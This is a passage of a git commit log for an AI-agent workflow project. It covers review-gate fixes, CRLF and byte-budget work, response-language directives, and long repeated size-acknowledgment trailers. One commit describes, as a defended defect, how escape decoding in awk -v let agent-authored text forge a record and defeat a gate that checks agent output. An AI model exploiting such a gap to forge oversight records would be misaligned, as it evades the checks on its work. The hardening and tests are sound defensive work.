sync, so the DEFECT.CHANGESET-PR-FIELD-DRIFT check failed on this fork
PR. Re-backfill to the upstream number before the final push.

* fix(#3771): close the awk -v forgery and same-session close gaps agy found

Adversarial review (gemini-3.8-flash-high via the internal agy review
lane) on the full PR found two BLOCKERs against the just-added
writer-side conflict gate:

1. `awk -v line="${LINE}"` decodes escape sequences in its argument, so
   a literal two-character `\n` in agent-authored text became a real
   newline inside awk, splitting the appended record across two
   physical lines. `tr` only strips actual control bytes, so it never
   saw this — it defeated the exact forgery the gate exists to
   prevent, both the reader's zero-count and the writer's own
   idempotency check. Fixed by passing LINE/END through awk's
   ENVIRON, which is not escape-decoded.

2. A conflict resolved and re-spawned within the same plan-phase
   session was never flipped from `- [ ]` to `- [x]` — the record
   channel bullet said "plan-phase closes it," but no step did. Only
   a *separate* `--reviews` re-entry (line ~622, still prose-only)
   closes conflicts; the in-session resolve path left them open
   forever, permanently blocking convergence. Fixed by carrying the
   just-written line in `PENDING_CONFLICT` and closing it in the
   `Otherwise` branch before the checker re-spawns.

Also fixed a MAJOR: docs/COMMANDS.md described the `--max-cycles`
escalation gate as uniformly offering "proceed or review manually,"
but the code (this PR's own change) withholds "Proceed anyway"
specifically when a plan-revision conflict is open — only manual
review is offered in that case. Docs now say so.

Not applied: the reviewer's `\r` truncated to plain tr from a MINOR
that also asked for temp-file permission preservation across `mktemp`.
Applying `chmod --reference` is not portable to macOS/BSD `chmod`, so
this is left as a documented low-severity tradeoff — the temp file now
sits alongside REVIEWS.md (same filesystem, atomic `mv`), which was
the same finding's more substantive half. Also not applied: a
suggested `gsd_run review record-conflict` CLI subcommand to
deduplicate the two `awk` blocks — a new command plus wiring is out of
scope for a review-remediation fix.

tests/revision-remediation-binding.test.cjs adds regression coverage
for both BLOCKERs: a literal-backslash-n hostile field composed with
the reader gate, and a close-gate extraction that verifies the flip to
`[x]`, the reader's count dropping to 0, and a fail-closed path when
the pending line is missing.

Emitted-Drift-Ack-Growth: plan-phase.md — #3916 fixes an awk -v escape-
decoding forgery and adds the missing same-session conflict-close step
an adversarial review found in the writer-side gate

* chore(#3916): backfill changeset pr field to the upstream PR number

Fork-validation CI needed pr: 1 to pass its own changeset-lint; restore
pr: 3916 before this push reaches open-gsd/gsd-core.

* fix(#3771): trim plan-phase.md prose back under the XL byte cap

Merging origin/next's unrelated growth pushed plan-phase.md 473 bytes
past the workflow-size-budget XL cap and the ADR-857 phase-6 baseline,
both tripped by CI after review approval. Removed an unpinned inert
bash comment and tightened connective prose in three REVISION_CONFLICT
bullets; no executable shell or test-pinned substring changed.

* chore(rehearsal): pin changeset pr field to fork rehearsal PR #25

Scratch-only commit for the rehearsal branch's own CI. Will not be
carried onto the branch backing upstream #3916 — that keeps pr: 3916.

* fix(#3771): address CodeRabbit findings on the REVISION_CONFLICT protocol

Fork rehearsal PR #25's first CodeRabbit pass surfaced 7 findings against
the already-approved #3916 diff; each verified against current code
before fixing (none hallucinated):

- plan-phase.md: writer-side awk gates now strip a trailing \r before
  comparing lines, matching the reader gate (plan-review-convergence.md)
  -- a CRLF REVIEWS.md previously made both writer gates fail closed.
- plan-phase.md: the close-fence's REVIEWS_FILE/PENDING_CONFLICT/
  CONFLICT_RESOLUTION were read without ever being (re)defined in that
  fence -- shell state does not survive across separate fenced blocks
  (same convention already documented in review.md). Added the explicit
  recompute/set instruction.
- revision-loop.md: previous_conflict_property was never reset after a
  normal (non-conflict) revision, so a later, unrelated conflict on the
  same property could be misread as a repeat and escalate prematurely.
- gsd-plan-checker.md / few-shot-examples/plan-checker.md: two example
  required_property strings were unconditionally binding in a way their
  own dimension's rules aren't (no-analog RESEARCH.md fallback; tasks
  that create no functions), now scoped to match.
- quick/steps/plan-checker-loop.md: added the same disjoint
  "Otherwise (not REVISION_CONFLICT)" branch plan-phase.md already had,
  closing an ambiguity between the conflict and non-conflict return paths.
- revision-remediation-binding.test.cjs: the REVIEWS_PATH init-order
  assertion used indexOf() without checking for -1, so it would pass
  vacuously if either anchor were renamed away.

Also restores an "Export the row's CONFLICT_*" instruction I had cut in
the prior byte-budget trim -- checked non-pinned by tests, but it was the
only text telling the agent to set those vars before the awk block reads
them via ENVIRON.

Net growth from these fixes required reclaiming bytes elsewhere in
plan-phase.md (verified against every pinned substring in
revision-remediation-binding.test.cjs) to stay under the XL tier's
hard 98304-byte cap; final size 98245 bytes.

* fix(#3771): resync the #4079 shrink-only mirror to the current PRE_PHASE6 line

tests/plan-phase-background-wait-wakeup.test.cjs (landed on next via an
unrelated #4079 PR, merged in by this branch's next-sync) mirrored
plan-phase.md's phase6 shrink-only ceiling as a hardcoded local constant
(94519) rather than reading tests/phase6-capstone-conformance.test.cjs's
PRE_PHASE6 value. That value has since been legitimately raised twice
during this PR's own review (94519 -> 96700 -> 98300) to accommodate the
REVISION_CONFLICT persistence/routing gate. The two branches' independent
histories left the mirror stale post-merge -- not a textual git conflict,
but the same class of thing. Resynced to 98300.

* fix(#3771): address round-2 CodeRabbit findings on the conflict gates

CodeRabbit's re-review of the previous remediation commit found two real
issues in what it had already flagged:

- Both writer-side awk CRLF fixes used \`sub(/\r$/, "")\` directly on \`\$0\`,
  which mutates it in place -- \`{ print }\` then emitted the CR-stripped
  copy for every passed-through line, silently rewriting an unrelated
  CRLF REVIEWS.md to LF on any insert or close. Now compares against a
  separate \`cur\` copy and prints the original, untouched \`\$0\`.
- The close-fence's "recompute REVIEWS_FILE/PENDING_CONFLICT" prose
  implied in-fence derivation, but the fence has no such code and the
  test harness (\`runCloseGate\`) deliberately supplies all three as
  pre-set env vars -- matching how the open fence's "Export the row's
  CONFLICT_*" instruction already works. Reworded to "export ... in the
  same invocation", matching that established, test-verified pattern
  instead of promising logic that isn't there.

Added a regression test proving the CRLF fix no longer touches
passthrough lines (red against the mutate-in-place version, green now).

* fix(#3771): use a CRLF-safe check in the new passthrough regression test

local/no-crlf-fragile-split forbids splitting readFileSync content on a
literal \n (Windows git-autocrlf checkouts yield \r\n). My CRLF
passthrough-preservation test from the previous commit did exactly that
to inspect the first line. Replaced with a direct startsWith() check
against the known CRLF-terminated header, which needs no split.

* test(#3771): assert the record itself is inserted in the CRLF passthrough test

CodeRabbit nitpick (round 3): the passthrough-preservation test checked
gate status and the pre-existing line's CRLF ending, but never asserted
the new REVISION_CONFLICT record was actually written.

* fix(#3771): address agy/gemini-3.8-flash-high adversarial review findings

Full-PR adversarial review (internal /gsd-review antigravity lane,
gemini-3.8-flash-high) surfaced 9 findings; each verified against current
code before fixing (none hallucinated):

HIGH:
- quick-batch/steps/plan-checker-loop.md never received the
  required_property/fix_hint binding language or REVISION_CONFLICT
  handling this PR added everywhere else -- a genuinely unmigrated
  producing context. Migrated to match quick/steps/plan-checker-loop.md,
  and added it to the ORCHESTRATORS consistency battery in
  revision-remediation-binding.test.cjs so future drift is caught
  automatically.
- The close-fence's PENDING_CONFLICT was an agent-supplied env var that
  had to exactly reconstruct a five-field sanitized line across a
  multi-minute subagent dispatch -- fragile, and a scalar var also meant
  a second simultaneous conflict silently dropped the first on overwrite.
  Redesigned to match the open conflict by CONFLICT_DIMENSION/
  CONFLICT_PLAN identity instead: the agent re-supplies two short,
  already-tracked identifiers rather than reconstructing the full
  sanitized text, and each conflict resolves independently regardless of
  how many are open. Updated the test harness's runCloseGate contract to
  match, and added a two-open-conflicts regression test.

MEDIUM:
- plan-phase.md's `--reviews` replanning path told the reader to "flip
  the matching line to [x]" in prose only, with no executable path to
  it -- pointed it at the same close gate used in step 12.
- plan-review-convergence.md's reader-gate awk tolerated a blank line
  before the opening delimiter but not before the heading that follows
  it; a formatter or LLM writer inserting one would hard-abort
  convergence on an otherwise well-formed REVIEWS.md. Added the same
  tolerance already granted above it, with a regression test.

LOW:
- Clarified that the escalation destination for a stalled conflict is
  the same iteration/revision-count cap gate already defined in each of
  quick, quick-batch, ui-phase, and verify-work, rather than an
  undefined "stall" concept.
- Clarified "twice in a row" means no successful revision intervened,
  matching revision-loop.md's now-explicit previous_conflict_property
  reset.
- Fixed gsd-ui-researcher.md's stale rationale text, copied verbatim
  from planner-revision.md: ui-phase presents the conflict table
  directly to the user, it does not persist to a shared file scanned by
  heading.

Net growth again required reclaiming bytes in plan-phase.md (verified
against every pinned substring in revision-remediation-binding.test.cjs)
to stay under the XL tier's hard 98304-byte cap; removed a now-dead
PENDING_CONFLICT assignment in the process. Final size 98258 bytes.

* fix(#3771): scope row 48's quick/steps guard away from plan-checker-loop.md

tests/gsd-quick-batch-quick-regression.test.cjs's row 48 (#3676) flagged
this branch's quick-batch/steps/plan-checker-loop.md migration (the agy
HIGH finding) as a violation, because it also edits
quick/steps/plan-checker-loop.md for the same underlying #3771 protocol
fix.

Verified against git history before scoping: 2f64e6230 (#3676's own
landing commit) CREATED quick-batch/steps/plan-checker-loop.md as a new,
independent 119-line file, never a call-site into quick/'s copy. Row
48's "shared primitives, never edits the ordinary quick command" premise
was never about this specific file -- it was always meant to carry its
own per-flow copy of whatever revision-loop contract applies, same as
ui-phase.md/verify-work.md throughout this PR. This is the same
false-positive class the row's own comments already document scoping
away twice (#3730, #2529 round 40); excluded plan-checker-loop.md from
its touched-quick-steps check with the same evidence trail.

* chore(#3771): point changeset pr field at upstream PR 3916

---------

Co-authored-by: davdittrich <davdittrich@gmail.com>
Co-authored-by: CI Rebase Check <ci@gsd-redux>
Co-authored-by: Test <test@test.com>
Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-09-05 15:16:38 -04:00
Dennis Alexis Valin Dittrich
eedb6b5431 enhance(#4107): sequence external review after internal fixes (#4206)
* enhance(#4107): sequence external review after internal fixes

Teach the planner to finish internal review and accepted fixes before opening a PR known to trigger automatic external review. If an open-time property exists, re-check it immediately before opening with nothing intervening; post-open CI, review, changeset, and tracking work may follow.

Emitted-Drift-Ack-Growth: gsd-planner.md — issue #4107 adds the review-before-publish ordering rule

* chore(#4107): add PR #11 changeset

* chore(changeset): link upstream PR 4206

* fix(#4107): ground external-review terms and tighten ordering test

Addresses trek-e review on PR #4206:
- Ground 'known automatic external review' and 'open-time property' with
  concrete anchors (CodeRabbit App / .coderabbit.yaml, not-behind-base).
- Suffix the antipatterns heading with (#4107), matching sibling sections.
- Replace vacuous negative assertion with inverted-order fixtures that
  prove the ordering regexes reject bad phrasing, not just co-occurrence.

* fix(#4107): make directionality fixtures genuinely adversarial

agy (gemini-3.8-flash-high) adversarial review found the two negative
fixtures added in 584ec1cda were vacuous: they proved the ordering regexes
require certain keywords, not that they reject inverted order — the bad
strings simply omitted required tokens rather than reordering them.

- Rebuild both fixtures to contain every required token, reordered/negated,
  so a real reordering would still slip past a weaker regex.
- Drop the unsupported 'changeset' mention from the Wave 4+ antipatterns
  example — gsd-core/workflows/ship.md never references changeset work,
  so naming it here implied a step this rule doesn't actually govern.

* fix(#4107): make the full review-then-fix-then-open sequence explicit

CodeRabbit (fork PR #11) flagged that the planner prose only ordered
accepted fixes before PR open, without explicitly naming 'run internal
review' as its own earlier step, and that no fixture tested the planner
text's own wording for inversion (only the antipatterns example had one).

- Prose now reads 'run internal review and apply the accepted
  internal-review fixes before the final open'.
- Added a planner-text-specific inverted-order fixture alongside the
  existing antipatterns-example one.

---------

Co-authored-by: Test <test@test.com>
Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-09-05 03:14:27 -04:00
JusticeWay
0fca71eaae enhance(#2529): cover every workflow with response-language directives + CI lint (#2558)
* enhance(#2529): cover every workflow with response-language directives + CI lint

Every workflow now carries response-language coverage in one of three forms,
and a CI lint keeps it that way.

- 43 workflows load the new shared reference,
  `gsd-core/references/response-language-directive.md`, by eager `@`-import.
- Lazy-loaded modes/steps/templates, which cannot rely on an eager import,
  carry an exact inline directive; 35 such paths are pinned by exact path.
- Fragments dispatched by a covered parent inherit coverage, proven per file
  rather than granted per directory.

The 45 workflows whose directive covered only "questions, prompts, and
explanations" now name inter-tool narration, which is the defect #2529
reports: the running commentary between tool calls stayed English while the
answers around it were translated.

`scripts/lint-response-language-coverage.cjs` enforces it and fails closed on
three independent discovery failures (unreadable catalog, empty catalog,
unfollowed symlink). It resolves which reference a workflow imports and applies
the same four-predicate test to that file, so a weakened shared reference
uncovers its importers instead of passing silently, reported once as a systemic
failure rather than 43 times. The walk follows symlinked subtrees with a
realpath cycle bound. `lint:ci` invokes it by name.

REQ-LANG-03 and REQ-LANG-04 state the contract in docs/FEATURES.md;
REQ-LANG-04 names the two forms that satisfy it ("narration", "between tool
calls") rather than enumerating class members an author cannot use verbatim,
and a test pins that text to what the matcher accepts.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#2529): register the coverage test in the docs-guard lane

`107eb8c1` (#3787) landed the docs-guard lane on `next` while this PR was
open: a test that reads a `docs/` path must be named in
`scripts/docs-guard-registry.cjs` or carry a `docs-guard-exempt` marker,
so the guards that read a doc run on the PR that changes it.

`tests/response-language-coverage.test.cjs` reads `docs/FEATURES.md` -- it
extracts every form REQ-LANG-04 offers an author and runs each through the
matcher that enforces it. Registration, not exemption, is the correct side
of that gate: a reword of the requirement with no code change is precisely
the diff this test exists to catch, and it is the diff the lane would
otherwise skip.

Registered narrowly (`['docs/FEATURES.md']`) rather than with the `'*'`
sentinel, so an unrelated docs change does not pull this test into the lane.

Verified: lint-docs-guard-registration 0 violations, tests/ci-docs-guard-registry.test.cjs
51/51, lint:ci exit 0.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#2529): consolidate this PR's emitted-growth acks into its own fragment

This PR ripples emitted bytes across 85 workflow paths. Until now each ripple
was acknowledged by appending to whichever live fragment owned that path,
because two ack sources may never name the same path.

`a84f7563` (#3078) swept all 45 fully-spent fragments off `next`. Forty-two of
the paths this PR grows were owned by swept fragments, so those keys are now
unowned and this PR's own fragment declares them directly -- one path, one
source, and no dependence on a fragment that no longer exists. Each adopted
entry keeps its measurement and records where it came from.

Two paths are handled differently, because the sweep did not free them:

- `review.md` is now owned by `3034-parallel-reviewer-lanes.json`, which
  landed on `next` after the sweep. Its entry is live, so the old route still
  applies: this PR's note is appended to that entry rather than declared a
  second time.
- `plan-review-convergence.md` keeps the arrangement made in round 24.

Result: 3 fragments in the directory, 85 keys in this PR's own,
0 cross-source duplicates. `lint-emitted-drift-ack` exit 0,
`tests/emitted-attribution.test.cjs` green.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2529): move REQ-LANG-03/04 into the feature fragment that now generates them

`36375513` (#3845) made docs/FEATURES.md a generated projection of
docs/features/*.md, marked "do not edit by hand". This PR wrote REQ-LANG-03
and REQ-LANG-04 straight into the generated file, so the rebase left the
requirement present in the projection and absent from its source -- the next
regeneration would have deleted both, and `tests/features-index-gate.test.cjs`
was already red on the mismatch.

Both requirements now live in docs/features/response-language-config.md
alongside REQ-LANG-01 and -02. Regenerating produces a docs/FEATURES.md that is
byte-identical to the committed one, so the text this PR shipped is unchanged --
only its source of truth moved to where #3840 put it.

The docs-guard registration is widened to name the fragment as well as the
projection. The requirement's source is the fragment now, and an edit there
that skips regeneration would otherwise reach this guard through neither path.

Verified: features-index-gate 68/68, lint-docs-guard-registration 0 violations,
ci-docs-guard-registry + response-language-coverage 142/142.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#2529): hand the plan-phase ack back to its new live owner

`c933184b` (#3825) landed `3172-stated-failing-direction.json` on `next` after
fragment had adopted that path when the sweep left it unowned, so the merged
tree named it from two sources -- a hard failure in
`scripts/lint-emitted-drift-ack.cjs`.

The path has a live owner again, so the append route applies: this PR's note
joins that entry, carrying its own measurement, and the key is dropped from
this PR's fragment (84 keys left, the others untouched). The provenance
sentence written for the swept-fragment case is removed rather than reused --
this path was never orphaned, so that account of it would be false.

Same shape as `review.md` and `plan-review-convergence.md`: ownership is a
property of the merged tree, and a fragment landing upstream after a push can
reclaim a key no local check would have flagged.

Verified: lint-emitted-drift-ack exit 0, lint:ci exit 0.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2529): state byte figures that are true against the tree

The reference claimed `execute-phase.md` has "2 bytes of headroom under the
ceiling named below". That was true when the sentence was written -- the file
sat at 93398 against the 93400 comfort assert -- and upstream has since shrunk
it to 91493 against a 93600 hard ceiling, so the figure now understates the
headroom by three orders of magnitude. The rationale the sentence supports does
not depend on the number, so the number is gone rather than refreshed: a
restated figure would go stale again on the next upstream edit, and nothing
parses it.

Audited every other numeric claim this PR ships the same way, mechanically
against the merge base: all 82 FILE-delta claims in the ack fragment match the
real per-file delta exactly, and the 1,629-byte reference and 63-byte import
line check out. One class was imprecise: the 41 notes for workflows whose
inline directive was rewritten in place quoted the conversion counterfactual as
"+1,692 bytes more loaded context", which is the reference form's whole weight,
not the increase over the inline directive those files already carry. Each now
names both quantities and the net (+1,605 / +1,609 / +1,584).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2529): one rule for pinned vs inherited coverage, and the docs to pick it

Review measured that 14 of the 35 pinned fragments would pass by inheritance
anyway, and that the PR asserted both readings at once: inheritance is real
coverage (so those 14 pins are noise) or it is not (so 30 inheriting fragments
are green-but-uncovered). Only one can be true.

Inheritance is real: the predicate proves it per file -- the parent must
dispatch this exact path from a read/execute context AND be covered itself --
so the parent's directive is in the loaded context by the time the fragment is
read. The 14 pins are therefore removed along with the directive lines they
pinned, and those files inherit like the 30 structurally identical ones. The
rule is now stated where the set is declared, and enforced from the other side
by a test: no member of the pinned set may be one that would have inherited.
That is what decides the form for the next fragment.

- pinned set 35 -> 21; 14 workflow files revert to their base content
- `findViolations` no longer returns early on a pinned path: a file that becomes
  eagerly loaded and takes the shared reference is strictly better off, and the
  gate must not red that. The reference form is admitted because its own wording
  is validated in turn; an arbitrary reworded inline line still fails.
- the reference-directive cache is keyed by size and mtime, not by path alone,
  so a rewritten reference re-asked in one process no longer returns the stale
  verdict
- `carriesInlineDirective` names its negation blindness: four independent hits
  read vocabulary, not polarity
- the real-tree scan asserts each source produced files instead of `> 152`, a
  constant that read as the workflow count and would have passed a scan that
  lost one of its two directories
- the pinned-set size assertion goes the same way: the size follows from the
  rule, so the rule is what the suite asserts

Docs, for the gate that now governs every future workflow:
- `docs/contributing/response-language-coverage.md` -- why the narration class
  is the discriminator, the four coverage forms, the decision order that picks
  one, the pinned line, and what each failure message means
- a row in CONTRIBUTING.md's CI checks table, matching the docs-guard row
- `docs/CONFIGURATION.md` points at it from the `response_language` entry

Also: the changeset said 45 reworded workflows; it is 44 (42 @-reference + 21
pinned + 44 rewritten = 107 touched). That text ships to CHANGELOG.md.

`3707-parse-gap-reporting.json` landed on `next` reclaiming `audit-uat.md` and
`progress.md`; both handed back by the append route, leaving 82 keys here.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2529): correct the reference-taker count, 43 -> 42

The ack notes said the import line is byte-identical "in each of the 43
workflows that take the reference" and that the alternative would be "43 inline
copies". The shared reference has 42 importers; the 43rd file in review's table
is `execute-phase.md`, which imports the OTHER reference. Corrected in all 41
notes that carry the sentence, across this PR's fragment and the two it appends
to.

Found by re-running the numeric audit from the previous round after the rebase,
which also re-verified all 84 FILE-delta claims against the new base -- all
exact.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#2529): migrate the emitted-drift ack from a fragment to commit trailers

ADR-3942 (#3954) landed while this PR was open: the acknowledgment is now a commit
trailer and tests/emitted-drift-acks/ no longer exists. The fragment is deleted and
each key it declared becomes one trailer, reasons unchanged.

The four keys this PR had handed to 3034-*, 3172-* and 3707-* under the one-source
rule come home here. That rule was the whole reason for the hand-backs, and the
trailer model has no shared namespace to collide in -- five of this PR's rounds were
spent on exactly those collisions.

Emitted-Drift-Ack-Growth: add-backlog.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed.
Emitted-Drift-Ack-Growth: add-phase.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed.
Emitted-Drift-Ack-Growth: add-tests.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation.
Emitted-Drift-Ack-Growth: add-todo.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation.
Emitted-Drift-Ack-Growth: ai-integration-phase.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation. Re-homed in round 16: the fragment that carried this sentence (`3423-required-reading.json`) was retired on `next` by ddf85287 (fix(#3357), #3513), and no fragment on `next` declares this path now. The ack therefore returns to this PR's own fragment, which is the only live source for it — the change to the path is this PR's.
Emitted-Drift-Ack-Growth: analyze-dependencies.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed.
Emitted-Drift-Ack-Growth: audit-fix.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed. Re-homed in round 19: this PR declared the path in its own fragment, and `3602-workflow-subagent-model-resolution.json` landed on `next` declaring it too. One path takes exactly one ack source, so the sentence moves here and the key leaves ours. Re-homed from `3602-workflow-subagent-model-resolution.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: audit-milestone.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed. Re-homed from `2962-zsh-nomatch-for-glob-portability.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: audit-uat.md — A live/archived split was added and then reverted on this branch (see `$comment`): the split's extra rule in `initialize`, the narrowed Unparsed-table filter, and the separate 'Unparsed UAT Files in Archived Milestones' informational section are all removed, so the file settles at origin/next 5582 -> 7124 bytes (+1542, final). #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the 